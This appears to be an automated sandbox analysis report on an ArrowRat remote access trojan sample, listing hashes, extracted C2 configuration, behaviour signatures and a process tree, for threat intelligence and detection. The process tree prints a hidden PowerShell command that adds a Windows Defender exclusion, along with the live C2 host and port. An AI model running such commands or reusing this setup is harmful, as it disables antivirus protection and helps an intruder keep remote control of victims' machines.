Overview

overview

10

Static

static

10

Client.exe

windows7-x64

10

Client.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-12-2024 16:23

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General

  • Target

    Client.exe

  • Size

    158KB

  • MD5

    b9e38162af37c0f29b683c3c307fae6c

  • SHA1

    646eedd6062086bb394c5f5727ff3cfff940e090

  • SHA256

    d020ce862bf6ba26a1b4b0ca76ebc2ce9bc5ade16e52c66b11bc4253a16318a7

  • SHA512

    85440ad4b1258171ddd280e373b31ea2018538256c21ff024d138f4032bb4717875351073fd987e2c0e120f7dbea5bfc9cf32484224e2c04685a13916b8e44b5

  • SSDEEP

    3072:Mbz3H+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPmOO8Y:Mbz3e0ODhTEPgnjuIJzo+PPcfPmB8

Score
10/10
arrowratclientdiscoveryexecutionpersistencerat

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

24.ip.gl.ply.gg:46885

Mutex

BVCkbzdsT

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Arrowrat family
    arrowrat
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 38 IoCs
  • Suspicious use of FindShellTrayWindow 50 IoCs
  • Suspicious use of SendNotifyMessage 22 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\Client.exe
    "C:\Users\Admin\AppData\Local\Temp\Client.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4408
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4652
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 24.ip.gl.ply.gg 46885 BVCkbzdsT
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1892
    • C:\Windows\System32\ComputerDefaults.exe
      "C:\Windows\System32\ComputerDefaults.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3568
      • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
        "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Pan\dora'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4644
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:1560
  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:2924

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133797038468877655.txt
    Filesize

    75KB

    MD5

    77195b3cd4590621347186c8ee68287f

    SHA1

    cfb8fb71954cadb2cf579c2145fde23380024b3f

    SHA256

    9ee43e992ba9b6102b10985e050c541a96a80b0f9e21bded52cce7821a127249

    SHA512

    a941374c660d6a4fe893c2acc84073269c58f2ce30861c47676a61eb3265b0f5d1b957dbf5a1fbe560f3b00b3bdead1b6cf415d11bdb41f757a6a394a8c73448

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iyvna5pg.fp3.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • C:\Users\Admin\AppData\Roaming\temp0923
    Filesize

    10B

    MD5

    bf12ed71b468aff29171838e05b5ff68

    SHA1

    bc5fa6b614279570e6eb10dd7d68e56d8d5b955e

    SHA256

    c6413eb4d233caa14215d0cefc029f1063be03765e5f2f52bd6638ab8da00506

    SHA512

    9d09dd93ec4fe7e4e63b79fe607de534b7977d8e53cbcef7ba199b421e14734c50dfcfae18101f21de9a10c774eec4456852b8c67f74fb36d7a3f2f6fb8cc33b

    Download Submit

  • memory/1892-2-0x0000000000400000-0x0000000000418000-memory.dmp

    Filesize

    96KB

    Download

  • memory/1892-4-0x0000000005800000-0x0000000005892000-memory.dmp

    Filesize

    584KB

    Download

  • memory/1892-5-0x00000000058A0000-0x000000000593C000-memory.dmp

    Filesize

    624KB

    Download

  • memory/1892-6-0x0000000006010000-0x00000000065B4000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/1892-7-0x00000000065C0000-0x0000000006626000-memory.dmp

    Filesize

    408KB

    Download

  • memory/1892-12-0x00000000068A0000-0x00000000068F0000-memory.dmp

    Filesize

    320KB

    Download

  • memory/2924-48-0x000002415BFA0000-0x000002415BFC0000-memory.dmp

    Filesize

    128KB

    Download

  • memory/2924-68-0x000002415C5B0000-0x000002415C5D0000-memory.dmp

    Filesize

    128KB

    Download

  • memory/2924-242-0x000002395A000000-0x000002395B92F000-memory.dmp

    Filesize

    25.2MB

    Download

  • memory/2924-34-0x0000023958900000-0x0000023958A00000-memory.dmp

    Filesize

    1024KB

    Download

  • memory/2924-37-0x000002415BFE0000-0x000002415C000000-memory.dmp

    Filesize

    128KB

    Download

  • memory/2924-33-0x0000023958900000-0x0000023958A00000-memory.dmp

    Filesize

    1024KB

    Download

  • memory/2924-208-0x000002395A000000-0x000002395B92F000-memory.dmp

    Filesize

    25.2MB

    Download

  • memory/4408-25-0x00007FFB5E6D0000-0x00007FFB5F191000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4408-178-0x00007FFB5E6D3000-0x00007FFB5E6D5000-memory.dmp

    Filesize

    8KB

    Download

  • memory/4408-206-0x00007FFB5E6D0000-0x00007FFB5F191000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4408-0-0x00007FFB5E6D3000-0x00007FFB5E6D5000-memory.dmp

    Filesize

    8KB

    Download

  • memory/4408-1-0x0000018C65CC0000-0x0000018C65CEE000-memory.dmp

    Filesize

    184KB

    Download

  • memory/4644-24-0x000001D37FDE0000-0x000001D37FE02000-memory.dmp

    Filesize

    136KB

    Download

  • memory/4652-30-0x0000000002220000-0x0000000002221000-memory.dmp

    Filesize

    4KB

    Download